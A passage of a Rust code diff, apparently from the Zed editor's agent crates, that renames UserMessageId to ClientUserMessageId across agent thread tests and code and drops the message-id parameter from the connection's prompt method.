     let events_1 = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -2945,7 +2955,7 @@ async fn test_retry_cancelled_promptly_on_new_send(cx: &mut TestAppContext) {
     });
     let events_2 = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Continue"], cx)
+            thread.send(ClientUserMessageId::new(), ["Continue"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -2988,7 +2998,7 @@ async fn test_subsequent_successful_sends_dont_cancel(cx: &mut TestAppContext) {
 
     let events_1 = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello 1"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello 1"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3000,7 +3010,7 @@ async fn test_subsequent_successful_sends_dont_cancel(cx: &mut TestAppContext) {
 
     let events_2 = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello 2"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello 2"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3021,7 +3031,7 @@ async fn test_refusal(cx: &mut TestAppContext) {
 
     let events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3068,7 +3078,7 @@ async fn test_truncate_first_message(cx: &mut TestAppContext) {
     let ThreadTest { model, thread, .. } = setup(cx, TestModel::Fake).await;
     let fake_model = model.as_fake();
 
-    let message_id = UserMessageId::new();
+    let message_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(message_id.clone(), ["Hello"], cx)
@@ -3134,7 +3144,7 @@ async fn test_truncate_first_message(cx: &mut TestAppContext) {
     // Ensure we can still send a new message after truncation.
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hi"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hi"], cx)
         })
         .unwrap();
     thread.update(cx, |thread, _cx| {
@@ -3190,7 +3200,7 @@ async fn test_latest_token_usage_counts_cached_input_tokens(cx: &mut TestAppCont
     let ThreadTest { model, thread, .. } = setup(cx, TestModel::Fake).await;
     let fake_model = model.as_fake();
 
-    let message_1_id = UserMessageId::new();
+    let message_1_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(message_1_id, ["Message 1"], cx)
@@ -3223,7 +3233,7 @@ async fn test_latest_token_usage_counts_cached_input_tokens(cx: &mut TestAppCont
         );
     });
 
-    let message_2_id = UserMessageId::new();
+    let message_2_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(message_2_id.clone(), ["Message 2"], cx)
@@ -3249,7 +3259,7 @@ async fn test_cumulative_token_usage(cx: &mut TestAppContext) {
     thread
         .update(cx, |thread, cx| {
             thread.add_tool(EchoTool);
-            thread.send(UserMessageId::new(), ["Use the echo tool"], cx)
+            thread.send(ClientUserMessageId::new(), ["Use the echo tool"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3339,7 +3349,7 @@ async fn test_cumulative_token_usage_keeps_accounted_usage_monotonic(cx: &mut Te
 
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["hello"], cx)
+            thread.send(ClientUserMessageId::new(), ["hello"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3383,7 +3393,7 @@ async fn test_truncate_second_message(cx: &mut TestAppContext) {
 
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Message 1"], cx)
+            thread.send(ClientUserMessageId::new(), ["Message 1"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3429,7 +3439,7 @@ async fn test_truncate_second_message(cx: &mut TestAppContext) {
 
     assert_first_message_state(cx);
 
-    let second_message_id = UserMessageId::new();
+    let second_message_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(second_message_id.clone(), ["Message 2"], cx)
@@ -3503,7 +3513,7 @@ async fn test_title_generation(cx: &mut TestAppContext) {
 
     let send = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3527,7 +3537,7 @@ async fn test_title_generation(cx: &mut TestAppContext) {
     // Send another message, ensuring no title is generated this time.
     let send = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello again"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello again"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3591,7 +3601,7 @@ async fn test_db_thread_markdown_matches_live_thread(cx: &mut TestAppContext) {
 
     let send = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3620,7 +3630,7 @@ async fn test_title_generation_failure_allows_retry(cx: &mut TestAppContext) {
 
     let send = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3676,7 +3686,7 @@ async fn test_building_request_with_pending_tools(cx: &mut TestAppContext) {
         .update(cx, |thread, cx| {
             thread.add_tool(ToolRequiringPermission);
             thread.add_tool(EchoTool);
-            thread.send(UserMessageId::new(), ["Hey!"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hey!"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3855,8 +3865,9 @@ async fn test_agent_connection(cx: &mut TestAppContext) {
     drop(acp_thread);
     let result = cx
         .update(|cx| {
-            connection.prompt(
-                acp_thread::UserMessageId::new(),
+            acp_thread::AgentSessionClientUserMessageIds::prompt(
+                &connection,
+                acp_thread::ClientUserMessageId::new(),
                 acp::PromptRequest::new(session_id.clone(), vec!["ghi".into()]),
                 cx,
             )
@@ -3878,7 +3889,7 @@ async fn test_tool_updates_to_completion(cx: &mut TestAppContext) {
 
     let mut events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Echo something"], cx)
+            thread.send(ClientUserMessageId::new(), ["Echo something"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3956,7 +3967,7 @@ async fn test_send_no_retry_on_success(cx: &mut TestAppContext) {
 
     let mut events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello!"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello!"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -3999,7 +4010,7 @@ async fn test_send_retry_on_error(cx: &mut TestAppContext) {
 
     let mut events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello!"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello!"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -4064,7 +4075,7 @@ async fn test_send_retry_finishes_tool_calls_on_error(cx: &mut TestAppContext) {
     let events = thread
         .update(cx, |thread, cx| {
             thread.add_tool(EchoTool);
-            thread.send(UserMessageId::new(), ["Call the echo tool!"], cx)
+            thread.send(ClientUserMessageId::new(), ["Call the echo tool!"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -4143,7 +4154,7 @@ async fn test_send_max_retries_exceeded(cx: &mut TestAppContext) {
 
     let mut events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello!"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello!"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -4206,7 +4217,11 @@ async fn test_streaming_tool_completes_when_llm_stream_ends_without_final_input(
 
     let _events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Use the streaming_echo tool"], cx)
+            thread.send(
+                ClientUserMessageId::new(),
+                ["Use the streaming_echo tool"],
+                cx,
+            )
         })
         .unwrap();
     cx.run_until_parked();
@@ -4310,7 +4325,7 @@ async fn test_streaming_tool_json_parse_error_is_forwarded_to_running_tool(
     let _events = thread
         .update(cx, |thread, cx| {
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 ["Use the streaming_json_error_context tool"],
                 cx,
             )
@@ -4670,7 +4685,7 @@ async fn test_tokens_before_message(cx: &mut TestAppContext) {
     let fake_model = model.as_fake();
 
     // First message
-    let message_1_id = UserMessageId::new();
+    let message_1_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(message_1_id.clone(), ["First message"], cx)
@@ -4710,7 +4725,7 @@ async fn test_tokens_before_message(cx: &mut TestAppContext) {
     });
 
     // Second message
-    let message_2_id = UserMessageId::new();
+    let message_2_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(message_2_id.clone(), ["Second message"], cx)
@@ -4741,7 +4756,7 @@ async fn test_tokens_before_message(cx: &mut TestAppContext) {
     cx.run_until_parked();
 
     // Third message
-    let message_3_id = UserMessageId::new();
+    let message_3_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(message_3_id.clone(), ["Third message"], cx)
@@ -4777,7 +4792,7 @@ async fn test_tokens_before_message_after_truncate(cx: &mut TestAppContext) {
     let fake_model = model.as_fake();
 
     // Set up three messages with responses
-    let message_1_id = UserMessageId::new();
+    let message_1_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(message_1_id.clone(), ["Message 1"], cx)
@@ -4796,7 +4811,7 @@ async fn test_tokens_before_message_after_truncate(cx: &mut TestAppContext) {
     fake_model.end_last_completion_stream();
     cx.run_until_parked();
 
-    let message_2_id = UserMessageId::new();
+    let message_2_id = ClientUserMessageId::new();
     thread
         .update(cx, |thread, cx| {
             thread.send(message_2_id.clone(), ["Message 2"], cx)
@@ -5893,7 +5908,7 @@ async fn test_lsp_tools_gated_by_feature_flag(cx: &mut TestAppContext) {
     // `enabled_for_staff`, so it is already visible in debug builds.
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["hello"], cx)
+            thread.send(ClientUserMessageId::new(), ["hello"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -5928,7 +5943,7 @@ async fn test_lsp_tools_gated_by_feature_flag(cx: &mut TestAppContext) {
 
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["hello again"], cx)
+            thread.send(ClientUserMessageId::new(), ["hello again"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -6022,7 +6037,7 @@ async fn test_sibling_thread_tools_gated_by_feature_flag(cx: &mut TestAppContext
     set_flag_override("off", cx);
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["hello"], cx)
+            thread.send(ClientUserMessageId::new(), ["hello"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -6048,7 +6063,7 @@ async fn test_sibling_thread_tools_gated_by_feature_flag(cx: &mut TestAppContext
     set_flag_override("on", cx);
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["hello again"], cx)
+            thread.send(ClientUserMessageId::new(), ["hello again"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -6100,7 +6115,7 @@ async fn test_parent_cancel_stops_subagent(cx: &mut TestAppContext) {
 
     subagent
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Do work".to_string()], cx)
+            thread.send(ClientUserMessageId::new(), ["Do work".to_string()], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -7074,7 +7089,7 @@ async fn test_always_allow_resolves_pending_authorizations(cx: &mut TestAppConte
     let mut events = thread
         .update(cx, |thread, cx| {
             thread.add_tool(ToolRequiringPermission);
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -7155,7 +7170,7 @@ async fn test_external_settings_edit_resolves_pending_authorization(cx: &mut Tes
     let mut events = thread
         .update(cx, |thread, cx| {
             thread.add_tool(ToolRequiringPermission);
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -7226,7 +7241,7 @@ async fn test_external_deny_rule_resolves_pending_authorization(cx: &mut TestApp
     let mut events = thread
         .update(cx, |thread, cx| {
             thread.add_tool(ToolRequiringPermission);
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -7302,7 +7317,7 @@ async fn test_unrelated_settings_change_does_not_resolve_pending_authorization(
     let mut events = thread
         .update(cx, |thread, cx| {
             thread.add_tool(ToolRequiringPermission);
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -7366,7 +7381,7 @@ async fn test_always_allow_does_not_resolve_unrelated_tool_authorization(cx: &mu
         .update(cx, |thread, cx| {
             thread.add_tool(ToolRequiringPermission);
             thread.add_tool(ToolRequiringPermission2);
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -7468,7 +7483,7 @@ async fn test_queued_message_ends_turn_at_boundary(cx: &mut TestAppContext) {
     // Start a turn by sending a message
     let mut events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Use the echo tool"], cx)
+            thread.send(ClientUserMessageId::new(), ["Use the echo tool"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -7551,7 +7566,7 @@ async fn test_queued_message_does_not_end_turn_without_boundary_flag(cx: &mut Te
 
     let mut events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Use the echo tool"], cx)
+            thread.send(ClientUserMessageId::new(), ["Use the echo tool"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -7616,7 +7631,7 @@ async fn test_streaming_tool_error_breaks_stream_loop_immediately(cx: &mut TestA
     let _events = thread
         .update(cx, |thread, cx| {
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 ["Use the streaming_failing_echo tool"],
                 cx,
             )
@@ -7697,7 +7712,7 @@ async fn test_streaming_tool_error_waits_for_prior_tools_to_complete(cx: &mut Te
     let _events = thread
         .update(cx, |thread, cx| {
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 ["Use the streaming_echo tool and the streaming_failing_echo tool"],
                 cx,
             )
@@ -7840,7 +7855,7 @@ async fn test_mid_turn_model_and_settings_refresh(cx: &mut TestAppContext) {
     // Send a message — first iteration starts with model A, profile-a, thinking off.
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["test mid-turn refresh"], cx)
+            thread.send(ClientUserMessageId::new(), ["test mid-turn refresh"], cx)
         })
         .unwrap();
     cx.run_until_parked();
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index e70a4b2dbb710e..899f979a717a40 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -7,7 +7,7 @@ use crate::{
     TerminalTool, ToolPermissionDecision, WebSearchTool, WriteFileTool,
     decide_permission_from_settings,
 };
-use acp_thread::{MentionUri, UserMessageId};
+use acp_thread::{ClientUserMessageId, MentionUri};
 use action_log::ActionLog;
 use agent_settings::UserAgentsMd;
 
@@ -241,7 +241,7 @@ impl Message {
 
 #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
 pub struct UserMessage {
-    pub id: UserMessageId,
+    pub id: ClientUserMessageId,
     pub content: Arc<[UserMessageContent]>,
 }
 
@@ -1215,7 +1215,7 @@ pub struct Thread {
     end_turn_at_next_boundary: bool,
     pending_message: Option<AgentMessage>,
     pub(crate) tools: BTreeMap<SharedString, Arc<dyn AnyAgentTool>>,
-    request_token_usage: HashMap<UserMessageId, language_model::TokenUsage>,
+    request_token_usage: HashMap<ClientUserMessageId, language_model::TokenUsage>,
     cumulative_token_usage: TokenUsage,
     /// The per-field maximum usage snapshot already added to
     /// `cumulative_token_usage` for the in-flight completion request. Reset at
@@ -2292,14 +2292,18 @@ impl Thread {
         cx.notify();
     }
 
-    pub fn truncate(&mut self, message_id: UserMessageId, cx: &mut Context<Self>) -> Result<()> {
+    pub fn truncate(
+        &mut self,
+        client_user_message_id: ClientUserMessageId,
+        cx: &mut Context<Self>,
+    ) -> Result<()> {
         self.cancel(cx).detach();
         // Clear pending message since cancel will try to flush it asynchronously,
         // and we don't want that content to be added after we truncate
         self.pending_message.take();
-        let Some(position) = self.messages.iter().position(
-            |msg| matches!(&**msg, Message::User(UserMessage { id, .. }) if id == &message_id),
-        ) else {
+        let Some(position) = self.messages.iter().position(|msg| {
+            matches!(&**msg, Message::User(UserMessage { id, .. }) if id == &client_user_message_id)
+        }) else {
             return Err(anyhow!("Message not found"));
         };
 
@@ -2346,8 +2350,8 @@ impl Thread {
     /// - `target_id` is the first message (no previous message)
     /// - The previous message hasn't received a response yet (no usage data)
     /// - `target_id` is not found in the messages
-    pub fn tokens_before_message(&self, target_id: &UserMessageId) -> Option<u64> {
-        let mut previous_user_message_id: Option<&UserMessageId> = None;
+    pub fn tokens_before_message(&self, target_id: &ClientUserMessageId) -> Option<u64> {
+        let mut previous_user_message_id: Option<&ClientUserMessageId> = None;
 
         for message in &self.messages {
             if let Message::User(user_msg) = &**message {
@@ -2407,7 +2411,7 @@ impl Thread {
     /// The returned channel will report all the occurrences in which the model stops before erroring or ending its turn.
     pub fn send<T>(
         &mut self,
-        id: UserMessageId,
+        id: ClientUserMessageId,
         content: impl IntoIterator<Item = T>,
         cx: &mut Context<Self>,
     ) -> Result<mpsc::UnboundedReceiver<Result<ThreadEvent>>>
@@ -2443,7 +2447,7 @@ impl Thread {
     /// regardless of the current token usage or context window size.
     pub fn compact(
         &mut self,
-        id: UserMessageId,
+        id: ClientUserMessageId,
         cx: &mut Context<Self>,
     ) -> Result<mpsc::UnboundedReceiver<Result<ThreadEvent>>> {
         let model = self
@@ -2535,7 +2539,7 @@ impl Thread {
 
     pub fn push_acp_user_block(
         &mut self,
-        id: UserMessageId,
+        id: ClientUserMessageId,
         blocks: impl IntoIterator<Item = acp::ContentBlock>,
         path_style: PathStyle,
         cx: &mut Context<Self>,
@@ -4607,7 +4611,7 @@ enum CompactionInsertion {
     /// (which may be before a trailing not-yet-answered user message).
     Auto { insertion_ix: usize },
     /// Manual `/compact` appends a zero-content user message followed by the summary.
-    Manual { marker_id: UserMessageId },
+    Manual { marker_id: ClientUserMessageId },
 }
 
 struct RunningTurn {
@@ -6484,7 +6488,7 @@ mod tests {
         );
     }
 
-    fn user_text_message(id: UserMessageId, text: &str) -> Arc<Message> {
+    fn user_text_message(id: ClientUserMessageId, text: &str) -> Arc<Message> {
         Arc::new(Message::User(UserMessage {
             id,
             content: vec![UserMessageContent::Text(text.to_string())].into(),
@@ -6520,7 +6524,7 @@ mod tests {
     async fn test_compaction_threshold_uses_percentage_setting(cx: &mut TestAppContext) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
         let model = Arc::new(FakeLanguageModel::default());
-        let user_message_id = UserMessageId::new();
+        let user_message_id = ClientUserMessageId::new();
 
         cx.update(|cx| {
             thread.update(cx, |thread, cx| {
@@ -6556,7 +6560,7 @@ mod tests {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
         let model = Arc::new(FakeLanguageModel::default());
         model.set_max_output_tokens(Some(32_000));
-        let user_message_id = UserMessageId::new();
+        let user_message_id = ClientUserMessageId::new();
 
         cx.update(|cx| {
             thread.update(cx, |thread, cx| {
@@ -6619,7 +6623,7 @@ mod tests {
     async fn test_compaction_threshold_respects_enabled_setting(cx: &mut TestAppContext) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
         let model = Arc::new(FakeLanguageModel::default());
-        let user_message_id = UserMessageId::new();
+        let user_message_id = ClientUserMessageId::new();
 
         cx.update(|cx| {
             set_auto_compact_settings(
@@ -6651,7 +6655,7 @@ mod tests {
     async fn test_compaction_threshold_respects_token_settings(cx: &mut TestAppContext) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
         let model = Arc::new(FakeLanguageModel::default());
-        let user_message_id = UserMessageId::new();
+        let user_message_id = ClientUserMessageId::new();
 
         cx.update(|cx| {
             set_auto_compact_settings(
@@ -6723,7 +6727,7 @@ mod tests {
         let model = Arc::new(FakeLanguageModel::default());
         // A context window below the minimum disables auto-compaction.
         model.set_max_token_count(MIN_COMPACTION_CONTEXT_WINDOW - 1);
-        let user_message_id = UserMessageId::new();
+        let user_message_id = ClientUserMessageId::new();
 
         cx.update(|cx| {
             thread.update(cx, |thread, cx| {
@@ -6750,8 +6754,8 @@ mod tests {
     ) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
         let model = Arc::new(FakeLanguageModel::default());
-        let old_user_message_id = UserMessageId::new();
-        let new_user_message_id = UserMessageId::new();
+        let old_user_message_id = ClientUserMessageId::new();
+        let new_user_message_id = ClientUserMessageId::new();
 
         cx.update(|cx| {
             thread.update(cx, |thread, cx| {
@@ -6829,8 +6833,8 @@ mod tests {
         // A context window below the minimum and no recorded token usage would
         // both disable *automatic* compaction. Manual compaction forces it anyway.
         model.set_max_token_count(MIN_COMPACTION_CONTEXT_WINDOW - 1);
-        let user_message_id = UserMessageId::new();
-        let compact_message_id = UserMessageId::new();
+        let user_message_id = ClientUserMessageId::new();
+        let compact_message_id = ClientUserMessageId::new();
 
         cx.update(|cx| {
             thread.update(cx, |thread, cx| {
@@ -6913,13 +6917,17 @@ mod tests {
                 thread.set_model(model.clone(), cx);
                 thread
                     .messages
-                    .push(user_text_message(UserMessageId::new(), "old user"));
+                    .push(user_text_message(ClientUserMessageId::new(), "old user"));
                 thread.messages.push(agent_text_message("old assistant"));
             });
         });
 
         let _events = cx
-            .update(|cx| thread.update(cx, |thread, cx| thread.compact(UserMessageId::new(), cx)))
+            .update(|cx| {
+                thread.update(cx, |thread, cx| {
+                    thread.compact(ClientUserMessageId::new(), cx)
+                })
+            })
             .unwrap();
         cx.run_until_parked();
         // The compaction request is in flight but hasn't streamed a summary.
@@ -6948,13 +6956,17 @@ mod tests {
                 thread.set_model(model.clone(), cx);
                 thread
                     .messages
-                    .push(user_text_message(UserMessageId::new(), "old user"));
+                    .push(user_text_message(ClientUserMessageId::new(), "old user"));
                 thread.messages.push(agent_text_message("old assistant"));
             });
         });
 
         let mut events = cx
-            .update(|cx| thread.update(cx, |thread, cx| thread.compact(UserMessageId::new(), cx)))
+            .update(|cx| {
+                thread.update(cx, |thread, cx| {
+                    thread.compact(ClientUserMessageId::new(), cx)
+                })
+            })
             .unwrap();
         cx.run_until_parked();
 
@@ -6989,7 +7001,11 @@ mod tests {
         cx.update(|cx| thread.update(cx, |thread, cx| thread.set_model(model.clone(), cx)));
 
         let _events = cx
-            .update(|cx| thread.update(cx, |thread, cx| thread.compact(UserMessageId::new(), cx)))
+            .update(|cx| {
+                thread.update(cx, |thread, cx| {
+                    thread.compact(ClientUserMessageId::new(), cx)
+                })
+            })
             .unwrap();
         cx.run_until_parked();
 
@@ -7005,13 +7021,13 @@ mod tests {
     #[gpui::test]
     async fn test_manual_compact_marker_replays_as_empty_user_message(cx: &mut TestAppContext) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
-        let marker_id = UserMessageId::new();
+        let marker_id = ClientUserMessageId::new();
 
         let mut replay_events = cx.update(|cx| {
             thread.update(cx, |thread, cx| {
                 thread
                     .messages
-                    .push(user_text_message(UserMessageId::new(), "before"));
+                    .push(user_text_message(ClientUserMessageId::new(), "before"));
                 thread.messages.push(agent_text_message("answer"));
                 thread.messages.push(Arc::new(Message::User(UserMessage {
                     id: marker_id.clone(),
@@ -7049,8 +7065,8 @@ mod tests {
     async fn test_compaction_usage_counts_toward_cumulative_usage(cx: &mut TestAppContext) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
         let model = Arc::new(FakeLanguageModel::default());
-        let old_user_message_id = UserMessageId::new();
-        let new_user_message_id = UserMessageId::new();
+        let old_user_message_id = ClientUserMessageId::new();
+        let new_user_message_id = ClientUserMessageId::new();
         let prior_usage = TokenUsage {
             input_tokens: 960_000,
             output_tokens: 25,
@@ -7149,7 +7165,7 @@ mod tests {
     #[gpui::test]
     async fn test_replay_emits_context_compaction(cx: &mut TestAppContext) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
-        let user_message_id = UserMessageId::new();
+        let user_message_id = ClientUserMessageId::new();
 
         let mut replay_events = cx.update(|cx| {
             thread.update(cx, |thread, cx| {
@@ -7201,18 +7217,20 @@ mod tests {
 
         let request_messages = cx.update(|cx| {
             thread.update(cx, |thread, cx| {
-                thread
-                    .messages
-                    .push(user_text_message(UserMessageId::new(), "before native"));
+                thread.messages.push(user_text_message(
+                    ClientUserMessageId::new(),
+                    "before native",
+                ));
                 thread.messages.push(Arc::new(Message::Compaction(
                     CompactionInfo::ProviderNative {
                         provider: LanguageModelProviderId::from("openai".to_string()),
                         items: vec![json!({"type": "compaction"})],
                     },
                 )));
-                thread
-                    .messages
-                    .push(user_text_message(UserMessageId::new(), "after native"));
+                thread.messages.push(user_text_message(
+                    ClientUserMessageId::new(),
+                    "after native",
+                ));
 
                 thread.build_request_messages(Vec::new(), cx)
             })
@@ -7234,7 +7252,7 @@ mod tests {
         let request_messages = cx.update(|cx| {
             thread.update(cx, |thread, cx| {
                 thread.messages.push(user_text_message(
-                    UserMessageId::new(),
+                    ClientUserMessageId::new(),
                     "dropped older user",
                 ));
                 thread
@@ -7242,15 +7260,15 @@ mod tests {
                     .push(agent_text_message("dropped assistant"));
                 thread
                     .messages
-                    .push(user_text_message(UserMessageId::new(), &long_text));
+                    .push(user_text_message(ClientUserMessageId::new(), &long_text));
                 thread
                     .messages
-                    .push(user_text_message(UserMessageId::new(), "new"));
+                    .push(user_text_message(ClientUserMessageId::new(), "new"));
                 thread.messages.push(summary_compaction("summary context"));
                 thread.messages.push(agent_text_message("after assistant"));
                 thread
                     .messages
-                    .push(user_text_message(UserMessageId::new(), "after user"));
+                    .push(user_text_message(ClientUserMessageId::new(), "after user"));
 
                 thread.build_request_messages(Vec::new(), cx)
             })
diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index c3f920d36cb351..ddec4877c7d05a 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -1857,7 +1857,6 @@ impl AgentConnection for AcpConnection {
 
     fn prompt(
         &self,
-        _id: acp_thread::UserMessageId,
         params: acp::PromptRequest,
         cx: &mut App,
     ) -> Task<Result<acp::PromptResponse>> {
@@ -1993,8 +1992,8 @@ pub mod test_support {
     use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
 
     use acp_thread::{
-        AgentSessionConfigOptions, AgentSessionModes, AgentSessionRetry, AgentSessionSetTitle,
-        AgentSessionTruncate, AgentTelemetry, UserMessageId,
+        AgentSessionClientUserMessageIds, AgentSessionConfigOptions, AgentSessionModes,
+        AgentSessionRetry, AgentSessionSetTitle, AgentSessionTruncate, AgentTelemetry,
     };
 
     use super::*;
@@ -2207,13 +2206,19 @@ pub mod test_support {
             self.inner.logout(cx)
         }
 
+        fn client_user_message_ids(
+            &self,
+            cx: &App,
+        ) -> Option<Rc<dyn AgentSessionClientUserMessageIds>> {
+            self.inner.client_user_message_ids(cx)
+        }
+
         fn prompt(
             &self,
-            user_message_id: UserMessageId,
             params: acp::PromptRequest,
             cx: &mut App,
         ) -> Task<Result<acp::PromptResponse>> {
-            self.inner.prompt(user_message_id, params, cx)
+            self.inner.prompt(params, cx)
         }
 
         fn retry(
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 6296d6c70ae878..e8328ffc25deea 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -6897,7 +6897,7 @@ mod tests {
         active_session_id, active_thread_id, open_thread_with_connection,
         open_thread_with_custom_connection, register_test_sidebar, send_message,
     };
-    use acp_thread::{AgentConnection, StubAgentConnection, ThreadStatus, UserMessageId};
+    use acp_thread::{AgentConnection, StubAgentConnection, ThreadStatus};
     use action_log::ActionLog;
     use anyhow::{Result, anyhow};
     use feature_flags::FeatureFlagAppExt;
@@ -7086,7 +7086,6 @@ mod tests {
 
         fn prompt(
             &self,
-            _id: UserMessageId,
             params: acp::PromptRequest,
             _cx: &mut App,
         ) -> Task<Result<acp::PromptResponse>> {
@@ -12866,7 +12865,6 @@ mod tests {
 
         fn prompt(
             &self,
-            _id: UserMessageId,
             params: acp::PromptRequest,
             _cx: &mut App,
         ) -> Task<Result<acp::PromptResponse>> {
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index a5906ebd1a58a3..cb5058e955080d 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -1,8 +1,8 @@
 use acp_thread::{
     AcpThread, AcpThreadEvent, AgentThreadEntry, AssistantMessage, AssistantMessageChunk,
-    AuthRequired, LoadError, MaxOutputTokensError, MentionUri, PermissionOptionChoice,
-    PermissionOptions, PermissionPattern, RetryStatus, SelectedPermissionOutcome, ThreadStatus,
